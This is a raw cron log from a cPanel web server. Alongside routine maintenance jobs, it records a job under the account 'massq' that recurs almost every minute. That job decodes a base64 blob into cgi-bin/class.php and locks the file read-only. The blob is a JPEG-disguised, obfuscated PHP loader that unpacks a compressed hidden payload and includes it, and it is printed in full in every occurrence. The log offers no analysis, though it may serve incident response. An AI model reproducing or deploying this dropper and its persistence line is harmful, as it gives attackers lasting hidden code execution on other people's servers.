Sep  8 08:40:01 server CROND[32455]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:40:01 server CROND[32454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:40:01 server CROND[32456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:40:01 server CROND[32457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:40:01 server CROND[32458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:40:01 server CROND[32459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:40:01 server CROND[32451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:41:01 server CROND[871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:41:01 server CROND[872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:41:01 server CROND[873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:42:01 server CROND[1446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:42:01 server CROND[1448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:42:01 server CROND[1447]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:42:01 server CROND[1449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:43:02 server CROND[1826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:43:02 server CROND[1827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:43:02 server CROND[1828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:44:01 server CROND[2246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:44:01 server CROND[2247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:44:01 server CROND[2248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:45:01 server CROND[2646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:45:01 server CROND[2648]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:45:01 server CROND[2649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:45:01 server CROND[2650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:45:01 server CROND[2651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:45:01 server CROND[2647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:45:01 server CROND[2652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:46:01 server CROND[3508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:46:01 server CROND[3509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:46:01 server CROND[3511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:47:01 server CROND[3980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:47:01 server CROND[3981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:47:01 server CROND[3983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:48:01 server CROND[4379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:48:01 server CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:48:01 server CROND[4381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:49:01 server CROND[4790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:49:01 server CROND[4791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:49:01 server CROND[4792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:50:01 server CROND[5203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:50:01 server CROND[5207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:50:01 server CROND[5204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:50:01 server CROND[5206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:50:01 server CROND[5205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:50:01 server CROND[5210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:50:01 server CROND[5209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:50:01 server CROND[5208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:50:01 server CROND[5211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:51:01 server CROND[6079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:51:01 server CROND[6080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:51:01 server CROND[6081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
